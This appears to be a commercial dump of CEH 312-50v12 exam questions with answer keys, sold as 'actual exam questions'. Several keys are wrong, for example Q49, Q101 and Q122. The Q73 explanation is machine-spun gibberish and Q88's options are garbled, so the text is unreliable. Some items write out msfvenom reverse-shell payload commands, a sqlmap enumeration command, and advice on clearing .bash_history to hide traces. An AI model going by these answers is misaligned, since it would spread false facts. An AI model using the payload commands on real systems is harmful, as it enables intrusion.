Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs (personal digital assistant).

#### NEW QUESTION 49

If you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST. What do you know about the firewall you are scanning?

- A. There is no firewall in place.
- B. This event does not tell you anything about the firewall.
- C. It is a stateful firewall
- D. It is a non-stateful firewall.

**Answer:** B

#### NEW QUESTION 54

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app. What is the attack performed on Don in the above scenario?

- A. SMS phishing attack
- B. SIM card attack
- C. Agent Smith attack
- D. Clickjacking

**Answer:** C

#### Explanation:

Agent Smith Attack

Agent Smith attacks are carried out by luring victims into downloading and installing malicious apps designed and published by attackers in the form of games, photo editors, or other attractive tools from third-party app stores such as 9Apps. Once the user has installed the app, the core malicious code inside the application infects or replaces the legitimate apps in the victim's mobile device with C&C commands. The deceptive application replaces legitimate apps such as WhatsApp, SHAREit, and MX Player with similar infected versions. The application sometimes also appears to be an authentic Google product such as Google Updater or Themes. The attacker then produces a massive volume of irrelevant and fraudulent advertisements on the victim's device through the infected app for financial gain. Attackers exploit these apps to steal critical information such as personal information, credentials, and bank details, from the victim's mobile device through C&C commands.

**NEW QUESTION 56**

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email (boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What testing method did you use?

- A. Social engineering
- B. Piggybacking
- C. Tailgating
- D. Eavesdropping

**Answer:** A

**Explanation:**

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data.

Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element, preventing these attacks can be tricky for enterprises.

Incorrect answers:

Tailgating and Piggybacking are the same thing

Tailgating, sometimes referred to as piggybacking, is a physical security breach in which an unauthorized person follows an authorized individual to enter a secured premise.

Tailgating provides a simple social engineering-based way around many security mechanisms one would think of as secure. Even retina scanners don't help if an employee holds the door for an unknown person behind them out of misguided courtesy.

People who might tailgate include disgruntled former employees, thieves, vandals, mischief-makers, and issues with employees or the company. Any of these can disrupt business, cause damage, create unexpected costs, and lead to further safety issues.

Eavesdropping <https://en.wikipedia.org/wiki/Eavesdropping>

Eavesdropping is the act of secretly or stealthily listening to the private conversation or communications of others without their consent in order to gather information. Since the beginning of the digital age, the term has also come to hold great significance in the world of cybersecurity.

The question does not specify at what level and how this attack is used. An attacker can eavesdrop on a conversation or use special software and obtain information on the network. There are many options, but this is not important because the correct answer is clearly not related to information interception.

**NEW QUESTION 61**

Which address translation scheme would allow a single public IP address to always correspond to a single machine on an internal network, allowing "server publishing"?

- A. Overloading Port Address Translation
- B. Dynamic Port Address Translation
- C. Dynamic Network Address Translation
- D. Static Network Address Translation

**Answer:** D

**NEW QUESTION 64**

What is the proper response for a NULL scan if the port is open?

- A. SYN
- B. ACK
- C. FIN
- D. PSH
- E. RST
- F. No response

**Answer:** F

**NEW QUESTION 65**

The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE's Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the Transport Layer Security (TLS) protocols defined in RFC6520.

What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?

- A. Public
- B. Private
- C. Shared
- D. Root

**Answer:** B

**NEW QUESTION 69**

John, a professional hacker, targeted CyberSol Inc., an MNC. He decided to discover the IoT devices connected in the target network that are using default credentials and are vulnerable to various hijacking attacks. For this purpose, he used an automated tool to scan the target network for specific types of IoT devices and detect whether they are using the default, factory-set credentials. What is the tool employed by John in the above scenario?

- A. IoTSeeker
- B. IoT Inspector
- C. AT&T IoT Platform
- D. Azure IoT Central

**Answer:** A

**NEW QUESTION 70**

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB. which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mlb or by entering the DNS library name and Lseries.mlb. He is currently retrieving information from an MIB that contains object types for workstations and server services. Which of the following types of MIB is accessed by Garry in the above scenario?

- A. LNMIB2.MIB
- B. WINS.MIB
- C. DHCP.MIS
- D. MIB\_II.MIB

**Answer:** A

**Explanation:**

DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts HOSTMIB.MIB: Monitors and manages host resources

LNMB2.MIB: Contains object types for workstation and server services MIBII.MIB: Manages TCP/IP-based Internet using a simple architecture and system

WINS.MIB: For the Windows Internet Name Service (WINS)

**NEW QUESTION 73**

which of the following protocols can be used to secure an LDAP service against anonymous queries?

- A. SSO
- B. RADIUS
- C. WPA
- D. NTLM

**Answer:** D

**Explanation:**

In a Windows network, nongovernmental organization (New Technology) local area network Manager (NTLM) could be a suite of Microsoft security protocols supposed to produce authentication, integrity, and confidentiality to users. NTLM is that the successor to the authentication protocol in Microsoft local area network Manager (LANMAN), Associate in Nursing older Microsoft product. The NTLM protocol suite is enforced in an exceedingly Security Support supplier, which mixes the local area network Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in an exceedingly single package. whether or not these protocols area unit used or will be used on a system is ruled by cluster Policy settings, that totally different{completely different} versions of Windows have different default settings. NTLM passwords area unit thought-about weak as a result of they will be brute-forced very simply with fashionable hardware.

NTLM could be a challenge-response authentication protocol that uses 3 messages to authenticate a consumer in an exceedingly affiliation orientating setting (connectionless is similar), and a fourth extra message if integrity is desired.

First, the consumer establishes a network path to the server and sends a NEGOTIATE\_MESSAGE advertising its capabilities.

Next, the server responds with CHALLENGE\_MESSAGE that is employed to determine the identity of the consumer.

Finally, the consumer responds to the challenge with Associate in Nursing AUTHENTICATE\_MESSAGE.

The NTLM protocol uses one or each of 2 hashed word values, each of that are keep on the server (or domain controller), and that through a scarcity of seasoning area unit word equivalent, that means that if you grab the hash price from the server, you'll evidence while not knowing the particular word. the 2 area unit the lm Hash (a DES-based operate applied to the primary fourteen chars of the word born-again to the standard eight bit laptop charset for the language), and also the nt Hash (MD4 of the insufficient endian UTF-16 Unicode password). each hash values area unit sixteen bytes (128 bits) every.

The NTLM protocol additionally uses one among 2 a method functions, looking on the NTLM version. National Trust LanMan and NTLM version one use the DES primarily based LanMan a method operate (LMOWF), whereas National TrustLMv2 uses the NT MD4 primarily based a method operate (NTOWF).

**NEW QUESTION 77**

In the context of Windows Security, what is a 'null' user?

- A. A user that has no skills
- B. An account that has been suspended by the admin
- C. A pseudo account that has no username and password
- D. A pseudo account that was created for security administration purpose

**Answer:** C

**NEW QUESTION 78**

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

- A. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse\_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- C. msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse\_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

**Answer:** C

**Explanation:**

<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse\_tcp LHOST=Y<our IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

**NEW QUESTION 79**

Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained the following results:

TTL: 64 Window Size: 5840

What is the OS running on the target machine?

- A. Solaris OS
- B. Windows OS
- C. Mac OS
- D. Linux OS

**Answer:** D

**NEW QUESTION 80**

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext.

Which file do you have to clean to clear the password?

- A. .X session-log
- B. .bashrc
- C. .profile
- D. .bash\_history

**Answer:** D

**Explanation:**

File created by Bash, a Unix-based shell program commonly used on Mac OS X and Linux operating systems; stores a history of user commands entered at the command prompt; used for viewing old commands that are executed. BASH\_HISTORY files are hidden files with no filename prefix. They always use the filename .bash\_history. NOTE: Bash is that the shell program employed by Apple Terminal. Our goal is to assist you understand what a file with a \*.bash\_history suffix is and the way to open it. The Bash History file type, file format description, and Mac and Linux programs listed on this page are individually researched and verified by the FileInfo team. we attempt for 100% accuracy and only publish information about file formats that we've tested and validated.

**NEW QUESTION 84**

in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it. How do you accomplish this?

- A. Delete the wireless network
- B. Remove all passwords
- C. Lock all users
- D. Disable SSID broadcasting

**Answer:** D

**Explanation:**

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router's settings.

Disabling SSID broadcast will make your Wi-Fi network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.

With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-Fi password to your guests is no longer enough.

They have to configure their settings manually by including the network name, security mode, and other relevant info.

Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:

- Disabling SSID broadcast will not hide your network completely

Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.

- Third-party software can easily trace a hidden network

Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.

- You might attract unwanted attention.

Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

**NEW QUESTION 85**

Password cracking programs reverse the hashing process to recover passwords. (True/False.)

- A. True
- B. False



**Answer:** B

#### NEW QUESTION 88

Allen, a professional pen tester, was hired by xpertTech solutWns to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. B/enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration. identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

- A. <1B>
- B. <00>
- C. <03>
- D. <20>
- E. C<03>Windows Messenger administrationCourier administration is an organization based framework notice Windows administration by Microsoft that was remembered for some prior forms of Microsoft Windows.This resigned innovation, despite the fact that it has a comparable name, isn't connected in any capacity to the later, Internet-based Microsoft Messenger administration for texting or to Windows Messenger and Windows Live Messenger (earlier named MSN Messenger) customer programming.The Messenger Service was initially intended for use by framework managers to tell Windows clients about their networks.[1] It has been utilized malevolently to introduce spring up commercials to clients over the Internet (by utilizing mass-informing frameworks which sent an ideal message to a predetermined scope of IP addresses). Despite the fact that Windows XP incorporates a firewall, it isn't empowered naturall
- F. Along these lines, numerous clients got such message
- G. Because of this maltreatment, the Messenger Service has been debilitated as a matter of course in Windows XP Service Pack 2.

**Answer:** E

#### NEW QUESTION 92

During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic?

- A. Circuit
- B. Stateful
- C. Application
- D. Packet Filtering

**Answer:** C

#### Explanation:

[https://en.wikipedia.org/wiki/Internet\\_Relay\\_Chat](https://en.wikipedia.org/wiki/Internet_Relay_Chat)

Internet Relay Chat (IRC) is an application layer protocol that facilitates communication in text. The chat process works on a client/server networking model. IRC clients are computer programs that users can install on their system or web-based applications running either locally in the browser or on a third-party server. These clients communicate with chat servers to transfer messages to other clients.

IRC is a plaintext protocol that is officially assigned port 194, according to IANA. However, running the service on this port requires running it with root-level permissions, which is inadvisable. As a result, the well-known port for IRC is 6667, a high-number port that does not require elevated privileges. However, an IRC server can also be configured to run on other ports as well.

You can't tell if an IRC server is designed to be malicious solely based on port number. Still, if you see an IRC server running on port a WKP such as 80, 8080, 53, 443, it's almost always going to be malicious; the only real reason for IRCD to be running on port 80 is to try to evade firewalls.

[https://en.wikipedia.org/wiki/Application\\_firewall](https://en.wikipedia.org/wiki/Application_firewall)

An application firewall is a form of firewall that controls input/output or system calls of an application or service. It operates by monitoring and blocking communications based on a configured policy, generally with predefined rule sets to choose from. The application firewall can control communications up to the OSI model's application layer, which is the highest operating layer, and where it gets its name. The two primary categories of application firewalls are network-based and host-based.

Application layer filtering operates at a higher level than traditional security appliances. This allows packet decisions to be made based on more than just source/destination IP Addresses or ports. It can also use information spanning across multiple connections for any given host.

Network-based application firewalls

Network-based application firewalls operate at the application layer of a TCP/IP stack. They can understand certain applications and protocols such as File Transfer Protocol (FTP), Domain Name System (DNS), or Hypertext Transfer Protocol (HTTP). This allows it to identify unwanted applications or services using a non-standard port or detect if an allowed protocol is being abused.

Host-based application firewalls

A host-based application firewall monitors application system calls or other general system communication. This gives more granularity and control but is limited to only protecting the host it is running on. Control is applied by filtering on a per-process basis. Generally, prompts are used to define rules for processes that have not yet received a connection. Further filtering can be done by examining the process ID of the owner of the data packets. Many host-based application firewalls are combined or used in conjunction with a packet filter.

#### NEW QUESTION 95

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

- A. Exploration
- B. Investigation
- C. Reconnaissance
- D. Enumeration

**Answer:** C

#### NEW QUESTION 100

Mary found a high vulnerability during a vulnerability scan and notified her server team. After analysis, they sent her proof that a fix to that issue had already been applied. The vulnerability that Marry found is called what?

- A. False-negative
- B. False-positive

- C. Brute force attack
- D. Backdoor

**Answer:** B

**Explanation:**

<https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-an>

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn't. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they're dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

**NEW QUESTION 101**

Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords. Which of the following tools would not be useful for cracking the hashed passwords?

- A. John the Ripper
- B. Hashcat
- C. netcat
- D. THC-Hydra

**Answer:** A

**NEW QUESTION 106**

Mr. Omkar performed tool-based vulnerability assessment and found two vulnerabilities. During analysis, he found that these issues are not true vulnerabilities. What will you call these issues?

- A. False positives
- B. True negatives
- C. True positives
- D. False negatives

**Answer:** A

**Explanation:**

False Positives occur when a scanner, Web Application Firewall (WAF), or Intrusion Prevention System (IPS) flags a security vulnerability that you do not have. A false negative is the opposite of a false positive, telling you that you don't have a vulnerability when, in fact, you do.

A false positive is like a false alarm; your house alarm goes off, but there is no burglar. In web application security, a false positive is when a web application security scanner indicates that there is a vulnerability on your website, such as SQL Injection, when, in reality, there is not. Web security experts and penetration testers use automated web application security scanners to ease the penetration testing process. These tools help them ensure that all web application attack surfaces are correctly tested in a reasonable amount of time. But many false positives tend to break down this process. If the first 20 variants are false, the penetration tester assumes that all the others are false positives and ignore the rest. By doing so, there is a good chance that real web application vulnerabilities will be left undetected.

When checking for false positives, you want to ensure that they are indeed false. By nature, we humans tend to start ignoring false positives rather quickly. For example, suppose a web application security scanner detects 100 SQL Injection vulnerabilities. If the first 20 variants are false positives, the penetration tester assumes that all the others are false positives and ignore all the rest. By doing so, there are chances that real web application vulnerabilities are left undetected. This is why it is crucial to check every vulnerability and deal with each false positive separately to ensure false positives.

**NEW QUESTION 107**

Which of the following tools can be used to perform a zone transfer?

- A. NSLookup
- B. Finger
- C. Dig
- D. Sam Spade
- E. Host
- F. Netcat
- G. Neotrace

**Answer:** ACDE

**NEW QUESTION 110**

Vlady works in a fishing company where the majority of the employees have very little understanding of IT let alone IT Security. Several information security issues that Vlady often found includes, employees sharing password, writing his/her password on a post it note and stick it to his/her desk, leaving the computer unlocked, didn't log out from emails or other social media accounts, and etc.

After discussing with his boss, Vlady decided to make some changes to improve the security environment in his company. The first thing that Vlady wanted to do is to make the employees understand the importance of keeping confidential information, such as password, a secret and they should not share it with other persons. Which of the following steps should be the first thing that Vlady should do to make the employees in his company understand to importance of keeping confidential information a secret?

- A. Warning to those who write password on a post it note and put it on his/her desk
- B. Developing a strict information security policy
- C. Information security awareness training
- D. Conducting a one to one discussion with the other employees about the importance of information security

**Answer:** A

**NEW QUESTION 112**

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account. What is the attack performed by Boney in the above scenario?

- A. Session donation attack
- B. Session fixation attack
- C. Forbidden attack
- D. CRIME attack

**Answer:** A

**Explanation:**

In a session donation attack, the attacker donates their own session ID to the target user. In this attack, the attacker first obtains a valid session ID by logging into a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered details are linked to the attacker's account. To initiate this attack, the attacker can send their session ID using techniques such as cross-site cooking, an MITM attack, and session fixation. A session donation attack involves the following steps.

**NEW QUESTION 117**

Nathan is testing some of his network devices. Nathan is using Macof to try and flood the ARP cache of these switches. If these switches' ARP cache is successfully flooded, what will be the result?

- A. The switches will drop into hub mode if the ARP cache is successfully flooded.
- B. If the ARP cache is flooded, the switches will drop into pix mode making it less susceptible to attacks.
- C. Depending on the switch manufacturer, the device will either delete every entry in its ARP cache or reroute packets to the nearest switch.
- D. The switches will route all traffic to the broadcast address created collisions.

**Answer:** A

**NEW QUESTION 122**

What is the following command used for?

```
sqlmap.py-u  
„http://10.10.1.20/?p=1  
&forumaction=search" -dbs
```

- A. Creating backdoors using SQL injection
- B. Enumerating the databases in the DBMS for the URL
- C. Retrieving SQL statements being executed on the database
- D. Searching database statements at the IP address given

**Answer:** A

**NEW QUESTION 125**

Mary found a high vulnerability during a vulnerability scan and notified her server team. After analysis, they sent her proof that a fix to that issue had already been applied. The vulnerability that Mary found is called what?

- A. False-negative
- B. False-positive
- C. Brute force attack
- D. Backdoor

**Answer:** B

**Explanation:**

<https://www.infocycle.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-an>

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn't. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they're dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

**NEW QUESTION 128**

.....

## Thank You for Trying Our Product

### We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### 312-50v12 Practice Exam Features:

- \* 312-50v12 Questions and Answers Updated Frequently
- \* 312-50v12 Practice Questions Verified by Expert Senior Certified Staff
- \* 312-50v12 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* 312-50v12 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The 312-50v12 Practice Test Here](#)**